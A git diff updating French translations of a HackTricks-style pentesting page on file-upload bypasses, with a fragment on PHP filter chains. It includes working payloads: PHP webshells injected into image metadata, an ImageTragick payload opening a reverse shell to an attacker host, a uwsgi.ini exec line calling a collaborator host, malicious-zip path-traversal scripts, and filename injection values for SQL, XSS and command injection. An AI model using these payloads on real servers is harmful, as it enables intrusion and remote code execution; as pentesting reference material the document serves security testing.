> **Les includes** ajoutent généralement **".php" à la fin** du fichier, ce qui peut compliquer l'exploitation car vous devriez trouver un fichier .php dont le contenu n'annule pas l'exploit... ou vous **pourriez simplement utiliser `php://temp` comme ressource** car il peut **avoir n'importe quoi ajouté au nom** (lie +".php") et cela permettra toujours à l'exploit de fonctionner !
## How to add also suffixes to the resulting data
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. C'est utile si vous avez besoin que la sortie ait un format spécifique (comme json ou peut‑être en ajoutant des octets magiques PNG)
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) comment abuser encore des PHP filters pour ajouter des suffixes à la chaîne résultante. C'est utile si vous avez besoin que la sortie ait un format spécifique (comme json ou éventuellement ajouter des PNG magic bytes)
## Automatic Tools
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(peut ajouter des suffixes)**
## Full script
```python
@ -96,7 +96,7 @@ print(r.text)
```
### Améliorations
Le script précédent est limité aux caractères base64 nécessaires pour ce payload. J'ai donc créé mon propre script pour **bruteforce tous les caractères base64** :
Le script précédent est limité aux caractères base64 nécessaires pour ce payload. Par conséquent, j'ai créé mon propre script pour **bruteforce all the base64 characters**:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',

155
src/pentesting-web/file-upload/README.md
View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Méthodologie générale - Téléversement de fichiers
## Méthodologie générale de téléversement de fichiers
Autres extensions utiles :
@ -15,13 +15,13 @@ Autres extensions utiles :
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Contourner les contrôles d'extension de fichier
### Contourner les vérifications d'extensions de fichiers
1. Si ils s'appliquent, **vérifiez** les **extensions précédentes.** Testez-les aussi en utilisant des **majuscules**: _pHp, .pHP5, .PhAr ..._
2. _Vérifiez **l'ajout d'une extension valide avant** l'extension d'exécution (utilisez aussi les extensions précédentes):_
1. Si elles s'appliquent, **vérifiez** les **extensions précédentes.** Testez-les aussi en utilisant des **lettres majuscules** : _pHp, .pHP5, .PhAr ..._
2. _Vérifiez **l'ajout d'une extension valide avant** l'extension d'exécution (utilisez aussi les extensions précédentes) :_
- _file.png.php_
- _file.png.Php5_
3. Essayez d'ajouter des **caractères spéciaux à la fin.** Vous pouvez utiliser Burp pour **bruteforcer** tous les caractères **ascii** et **Unicode**. (_Note: vous pouvez aussi essayer d'utiliser les **extensions** précédemment mentionnées_)
3. Essayez d'ajouter **des caractères spéciaux à la fin.** Vous pouvez utiliser Burp pour **bruteforcer** tous les caractères **ascii** et **Unicode**. (_Notez que vous pouvez aussi essayer d'utiliser les **extensions** mentionnées précédemment_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Autres extensions utiles :
- _file._
- _file.php...._
- _file.pHp5...._
4. Essayez de contourner les protections en **trompant le parseur d'extensions** côté serveur avec des techniques comme **doubler** l'**extension** ou **ajouter des données inutiles** (octets **null**) entre les extensions. _Vous pouvez aussi utiliser les **extensions précédentes** pour préparer un meilleur payload._
4. Essayez de contourner les protections en **trompant le parseur d'extensions** côté serveur avec des techniques comme le **doublage** de l'**extension** ou **l'ajout de données junk** (octets **null**) entre les extensions. _Vous pouvez aussi utiliser les **extensions** précédentes pour préparer un meilleur payload._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,12 +40,12 @@ Autres extensions utiles :
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Ajoutez **une autre couche d'extensions** aux tests précédents :
5. Ajoutez **une autre couche d'extensions** aux contrôles précédents :
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Essayez de placer **l'extension exécutable avant l'extension valide** et priez que le serveur soit mal configuré. (utile pour exploiter des misconfigurations Apache où tout ce qui contient l'extension **.php**, mais **n'ayant pas nécessairement .php en fin de nom**, exécutera du code) :
6. Essayez de mettre l'**extension d'exécution avant l'extension valide** et espérez que le serveur est mal configuré. (utile pour exploiter des misconfigurations Apache où tout ce qui a l'extension **.php**, mais **n'ayant pas nécessairement .php à la fin**, exécutera du code) :
- _ex: file.php.png_
7. Utilisation des **NTFS alternate data stream (ADS)** sous **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (ex. "file.asax:.jpg”). Ce fichier peut être modifié plus tard via d'autres techniques comme l'utilisation de son nom court. Le motif "**::$data**” peut aussi être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un point après ce motif peut également être utile pour contourner d'autres restrictions (ex. "file.asp::$data.”)
7. Utilisation des **NTFS alternate data stream (ADS)** sous **Windows**. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une autorisée. En conséquence, un **fichier vide avec l'extension interdite** sera créé sur le serveur (par ex. "file.asax:.jpg”). Ce fichier pourrait être édité plus tard via d'autres techniques comme l'utilisation de son short filename. Le pattern "**::$data**” peut aussi être utilisé pour créer des fichiers non vides. Ainsi, l'ajout d'un point après ce pattern peut aussi être utile pour contourner d'autres restrictions (par ex. "file.asp::$data.”)
8. Essayez de dépasser les limites de nom de fichier. L'extension valide est tronquée. Et le PHP malveillant reste. AAA<--SNIP-->AAA.php
```
@ -61,44 +61,44 @@ AAA<--SNIP 232 A-->AAA.php.png
### Contourner Content-Type, Magic Number, Compression & Redimensionnement
- Contourner les contrôles de **Content-Type** en définissant la **valeur** de l'en-tête **Content-Type** sur : _image/png_ , _text/plain , application/octet-stream_
1. Liste de mots pour Content-Type : [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Contourner la vérification du **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (pour tromper la commande _file_). Ou introduire le shell dans les **métadonnées** :\
- Contournez les vérifications de **Content-Type** en définissant la **valeur** de l'en-tête **Content-Type** sur : _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Contournez la vérification du **magic number** en ajoutant au début du fichier les **octets d'une vraie image** (pour tromper la commande _file_). Ou introduisez le shell dans les **metadata** :\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ou vous pouvez aussi **introduire le payload directement** dans une image :\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Si une **compression** est appliquée à votre image, par exemple en utilisant des bibliothèques PHP standard comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser le **chunk PLTE** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- La page web peut aussi **redimensionner** l'**image**, en utilisant par exemple les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pouvez utiliser le **chunk IDAT** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Une autre technique pour créer un payload qui **survit à un redimensionnement d'image**, en utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pouvez utiliser le **chunk tEXt** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- [**Github avec le code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- Si une **compression** est appliquée à votre image, par exemple via des bibliothèques PHP standards comme [PHP-GD](https://www.php.net/manual/fr/book.image.php), les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser le **PLTE chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- La page web peut aussi **redimensionner** l'**image**, par exemple en utilisant les fonctions PHP-GD `imagecopyresized` ou `imagecopyresampled`. Cependant, vous pouvez utiliser le **IDAT chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Une autre technique pour créer un payload qui **survit à un redimensionnement d'image**, utilisant la fonction PHP-GD `thumbnailImage`. Cependant, vous pouvez utiliser le **tEXt chunk** [**technique définie ici**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) pour insérer du texte qui **survivra à la compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Autres astuces à tester
### Autres astuces à vérifier
- Trouver une vulnérabilité permettant de **renommer** le fichier déjà téléversé (pour changer l'extension).
- Trouver une vulnérabilité **Local File Inclusion** pour exécuter le backdoor.
- Trouvez une vulnérabilité permettant de **renommer** le fichier déjà uploadé (pour changer l'extension).
- Trouvez une vulnérabilité **Local File Inclusion** pour exécuter le backdoor.
- **Divulgation d'information possible** :
1. Téléverser **plusieurs fois** (et **en même temps**) le **même fichier** avec le **même nom**
2. Téléverser un fichier portant le **nom** d'un **fichier** ou d'un **dossier** qui **existe déjà**
3. Téléverser un fichier nommé **"." , "..”**, ou "…” . Par exemple, sous Apache sur **Windows**, si l'application enregistre les fichiers uploadés dans le dossier "/www/uploads/”, le nom de fichier "." créera un fichier appelé "uploads” dans le répertoire "/www/”.
4. Téléverser un fichier difficile à supprimer comme **"…:.jpg”** sur **NTFS**. (Windows)
5. Téléverser un fichier sous **Windows** avec des **caractères invalides** comme `|<>*?”` dans son nom. (Windows)
6. Téléverser un fichier sous **Windows** en utilisant des noms **réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Essayez aussi de **téléverser un exécutable** (.exe) ou un **.html** (moins suspect) qui **exécutera du code** quand il sera accidentellement ouvert par la victime.
1. Téléversez **plusieurs fois** (et en **même temps**) le **même fichier** avec le **même nom**
2. Téléversez un fichier portant le **nom** d'un **fichier** ou d'un **dossier** qui **existe déjà**
3. Téléverser un fichier nommé **"." , ".." ou "…"**. Par exemple, sous Apache sur **Windows**, si l'application sauvegarde les fichiers uploadés dans "/www/uploads/", le nom de fichier "." créera un fichier appelé "uploads" dans le répertoire "/www/".
4. Téléversez un fichier qui peut ne pas être facilement supprimé, comme **"…:.jpg”** sur **NTFS**. (Windows)
5. Téléversez un fichier sous **Windows** avec des **caractères invalides** tels que `|<>*?”` dans son nom. (Windows)
6. Téléversez un fichier sous **Windows** en utilisant des noms **réservés** (**interdits**) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, et LPT9.
- Essayez aussi de **téléverser un exécutable** (.exe) ou un **.html** (moins suspect) qui **exécutera du code** si ouvert accidentellement par la victime.
### Astuces pour extensions spéciales
### Astuces spéciales d'extension
Si vous essayez de téléverser des fichiers sur un serveur **PHP**, [jetez un œil à l'astuce **.htaccess** pour exécuter du code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Si vous essayez de téléverser des fichiers sur un serveur **ASP**, [jetez un œil à l'astuce **.config** pour exécuter du code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Si vous essayez de téléverser des fichiers sur un **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Si vous essayez de téléverser des fichiers sur un **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Les fichiers `.phar` sont comme les `.jar` pour java, mais pour php, et peuvent être **utilisés comme un fichier php** (exécutés avec php, ou inclus dans un script...)
L'extension `.inc` est parfois utilisée pour des fichiers php servant uniquement à **inclure/importer** du code, donc, à un moment, quelqu'un peut avoir autorisé **cette extension à être exécutée**.
L'extension `.inc` est parfois utilisée pour des fichiers php qui ne sont utilisés que pour **importer des fichiers**, donc, à un moment donné, quelqu'un pourrait avoir permis **l'exécution de cette extension**.
## **Jetty RCE**
Si vous pouvez téléverser un fichier XML sur un serveur Jetty vous pouvez obtenir [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Donc, comme indiqué dans l'image suivante, téléversez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell !
Si vous pouvez téléverser un fichier XML dans un serveur Jetty, vous pouvez obtenir une RCE car les nouveaux *.xml et *.war sont automatiquement traités. Donc, comme indiqué dans l'image suivante, téléversez le fichier XML dans `$JETTY_BASE/webapps/` et attendez le shell !
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
@ -106,9 +106,9 @@ Si vous pouvez téléverser un fichier XML sur un serveur Jetty vous pouvez obte
Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Des vulnérabilités de Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour intégrer des variables "magiques", des placeholders et des opérateurs. Notamment, l'opérateur '@', utilisé comme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schémas supportés par uWSGI, le schéma "exec" est particulièrement puissant, permettant de lire des données depuis la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lorsqu'un fichier de configuration `.ini` est traité.
Les vulnérabilités Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration `.ini`. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des placeholders et des opérateurs. Notamment, l'opérateur '@', utilisé sous la forme `@(filename)`, est conçu pour inclure le contenu d'un fichier. Parmi les différents schemes supportés par uWSGI, le scheme "exec" est particulièrement puissant, permettant la lecture des données depuis la sortie standard d'un processus. Cette fonctionnalité peut être manipulée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lorsqu'un fichier de configuration `.ini` est traité.
Considérez l'exemple suivant d'un fichier `uwsgi.ini` malveillant :
Considérez l'exemple suivant d'un fichier `uwsgi.ini` malveillant, montrant divers schemes :
```ini
[uwsgi]
; read from a symbol
@ -126,15 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
L'exécution du payload a lieu lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (éventuellement après un crash ou en raison d'une attaque de Denial of Service), soit que le fichier soit configuré en auto-reload. La fonctionnalité d'auto-reload, si elle est activée, recharge le fichier à des intervalles spécifiés lorsqu'elle détecte des modifications.
L'exécution du payload se produit lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (potentiellement après un crash ou en raison d'une Denial of Service attack) soit le fichier doit être configuré en auto-reload. La fonctionnalité auto-reload, si elle est activée, recharge le fichier à des intervalles spécifiés lorsqu'elle détecte des changements.
Il est crucial de comprendre la nature laxiste du parsing des fichiers de configuration de uWSGI. Plus précisément, le payload évoqué peut être inséré dans un fichier binaire (comme une image ou un PDF), élargissant ainsi encore le champ d'exploitation potentiel.
Il est crucial de comprendre le caractère laxiste de l'analyse des fichiers de configuration de uWSGI. Plus précisément, le payload évoqué peut être inséré dans un fichier binaire (tel qu'une image ou un PDF), élargissant ainsi la portée des possibilités d'exploitation.
## **wget File Upload/SSRF Trick**
Parfois, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et que vous pouvez **indiquer** l’**URL**. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés figure dans une whitelist afin de s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, **cette vérification peut être contournée.**\
La **longueur maximale** d'un **nom de fichier** sous **linux** est de **255**, cependant **wget** tronque les noms de fichier à **236** caractères. Vous pouvez **télécharger un fichier appelé "A"\*232+".php"+".gif"**, ce nom de fichier **contournera** la **vérification** (comme dans cet exemple **".gif"** est une extension **valide**) mais `wget` **renommera** le fichier en **"A"\*232+".php"**.
Dans certains cas, vous pouvez constater qu'un serveur utilise **`wget`** pour **télécharger des fichiers** et que vous pouvez **indiquer** l'**URL**. Dans ces situations, le code peut vérifier que l'extension des fichiers téléchargés figure dans une whitelist pour s'assurer que seuls des fichiers autorisés seront téléchargés. Cependant, **this check can be bypassed.**\
La longueur maximale d'un filename sous linux est de 255, cependant, `wget` tronque les filenames à 236 caractères. Vous pouvez télécharger un fichier appelé "A"\*232+".php"+".gif", ce nom de fichier bypassera la vérification (comme dans cet exemple ".gif" est une extension valide) mais `wget` renommera le fichier en "A"\*232+".php".
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -157,35 +156,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
Notez que **une autre option** à laquelle vous pourriez penser pour contourner cette vérification est de faire en sorte que le **serveur HTTP redirige vers un fichier différent**, ainsi l'URL initiale contournera la vérification puis wget téléchargera le fichier redirigé avec le nouveau nom. Cela **ne fonctionnera pas** **sauf si** wget est utilisé avec le **paramètre** `--trust-server-names` parce que **wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL originale**.
## Tools
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) est un outil puissant conçu pour aider les Pentesters et Bug Hunters à tester les mécanismes d'upload de fichiers. Il exploite diverses techniques de bug bounty pour simplifier le processus d'identification et d'exploitation des vulnérabilités, garantissant des évaluations approfondies des applications web.
### Corrupting upload indices with snprintf quirks (historical)
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
Certains handlers d'upload legacy qui utilisent `snprintf()` ou des fonctions similaires pour construire des tableaux multi-fichiers à partir d'un upload single-file peuvent être trompés pour forger la structure `_FILES`. En raison d'incohérences et de troncatures dans le comportement de `snprintf()`, un upload soigneusement construit peut apparaître comme plusieurs fichiers indexés côté serveur, perturbant la logique qui suppose une forme stricte (par ex., la traiter comme un upload multi-fichiers et prendre des branches non sûres). Bien que niche aujourd'hui, ce pattern de «corruption d'indices» réapparaît occasionnellement dans des CTFs et des bases de code plus anciennes.
## From File upload to other vulnerabilities
- Définir **filename** sur `../../../tmp/lol.png` et essayer d'obtenir un **path traversal**
- Définir **filename** sur `sleep(10)-- -.jpg` et vous pourrez peut‑être obtenir une **SQL injection**
- Définir **filename** sur `<svg onload=alert(document.domain)>` pour obtenir un **XSS**
- Définir **filename** sur `; sleep 10;` pour tester une **command injection** (more [command injections tricks here](../command-injection.md))
- Définissez **filename** sur `../../../tmp/lol.png` et essayez d'obtenir un **path traversal**
- Définissez **filename** sur `sleep(10)-- -.jpg` et vous pourrez peut-être obtenir une **SQL injection**
- Définissez **filename** sur `<svg onload=alert(document.domain)>` pour obtenir une **XSS**
- Définissez **filename** sur `; sleep 10;` pour tester de l'command injection (plus de [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- Essayez **différents payloads svg** depuis [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- Si vous pouvez **indiquer au web server de récupérer une image depuis une URL** vous pouvez tenter d'abuser d'un [SSRF](../ssrf-server-side-request-forgery/index.html). Si cette **image** doit être **enregistrée** sur un site **public**, vous pouvez aussi indiquer une URL depuis [https://iplogger.org/invisible/] et **voler les informations de chaque visiteur**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
- Check if there is any **size limit** uploading files
- PDFs spécialement conçus pour du XSS : la [page suivante présente comment **injecter des données PDF pour obtenir l'exécution de JS**](../xss-cross-site-scripting/pdf-injection.md). Si vous pouvez uploader des PDFs, vous pouvez préparer un PDF qui exécutera du JS arbitraire en suivant les indications données.
- Téléversez le \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenu pour vérifier si le serveur dispose d'un **antivirus**
- Vérifiez s'il y a une **limite de taille** lors de l'upload de fichiers
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Voici un top 10 des choses que vous pouvez accomplir en téléversant (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -214,28 +213,28 @@ Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wiki
## Zip/Tar File Automatically decompressed Upload
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
Si vous pouvez uploader un ZIP qui sera décompressé sur le serveur, vous pouvez faire 2 choses :
### Symlink
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
Téléversez une archive contenant des soft links vers d'autres fichiers ; ensuite, en accédant aux fichiers décompressés vous atteindrez les fichiers liés :
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Décompresser dans des dossiers différents
### Décompress dans différents dossiers
La création inattendue de fichiers dans des répertoires lors de la décompression est un problème important. Malgré l'hypothèse initiale que cette configuration pourrait empêcher l'exécution de commandes au niveau du système d'exploitation via des uploads de fichiers malveillants, le support de compression hiérarchique et les capacités de traversal de répertoires du format d'archive ZIP peuvent être exploités. Cela permet aux attaquants de contourner les restrictions et de s'échapper des répertoires d'upload sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée.
La création inattendue de fichiers dans des répertoires lors de la décompression est un problème important. Malgré l'hypothèse initiale que cette configuration pourrait protéger contre l'exécution de commandes au niveau du système d'exploitation via des uploads de fichiers malveillants, le support de la compression hiérarchique et les possibilités de traversal de répertoire du format d'archive ZIP peuvent être exploités. Cela permet aux attaquants de contourner les restrictions et de sortir des répertoires d'upload sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée.
Un exploit automatisé pour créer de tels fichiers est disponible à [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilitaire peut être utilisé comme suit :
Un exploit automatisé permettant de créer de tels fichiers est disponible sur [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). L'utilitaire peut être utilisé comme suit :
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
De plus, le **symlink trick with evilarc** est une option. Si l'objectif est de cibler un fichier comme `/flag.txt`, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu'evilarc ne rencontrera pas d'erreurs lors de son exécution.
De plus, l'**symlink trick with evilarc** est une option. Si l'objectif est de cibler un fichier comme `/flag.txt`, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs lors de son exécution.
Ci-dessous un exemple de code Python utilisé pour créer un fichier zip malveillant :
```python
@ -255,11 +254,11 @@ zip.close()
create_zip()
```
**Abuser de la compression pour file spraying**
**Abusing compression for file spraying**
Pour plus de détails **consultez l'article original** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Pour plus de détails **consultez l'article original sur** : [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Création d'un PHP Shell**: Le code PHP est écrit pour exécuter des commandes passées via la variable `$_REQUEST`.
1. **Creating a PHP Shell**: Du code PHP est écrit pour exécuter des commandes transmises via la variable `$_REQUEST`.
```php
<?php
@ -276,7 +275,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification avec un éditeur hexadécimal ou vi**: Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un éditeur hexadécimal, en remplaçant "xxA" par "../" pour traverser les répertoires.
3. **Modification with a Hex Editor or vi**: Les noms des fichiers à l'intérieur du zip sont modifiés en utilisant vi ou un éditeur hexadécimal, changeant "xxA" en "../" pour traverser les répertoires.
```bash
:set modifiable
@ -286,38 +285,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Téléversez ce contenu avec une extension image pour exploiter la vulnérabilité **(ImageMagick , 7.0.1-1)** (à partir de l'[exploit](https://www.exploit-db.com/exploits/39767))
Téléversez ce contenu avec une extension d'image pour exploiter la vulnérabilité **(ImageMagick , 7.0.1-1)** (voir l'exploit: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Intégration d'une PHP shell dans un PNG
## Insertion d'un PHP Shell dans un fichier PNG
L'insertion d'une PHP shell dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'images. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes ici, car elles sont couramment utilisées pour redimensionner et rééchantillonner des images, respectivement. Le fait que la PHP shell intégrée reste intacte après ces opérations est un avantage important dans certains cas d'utilisation.
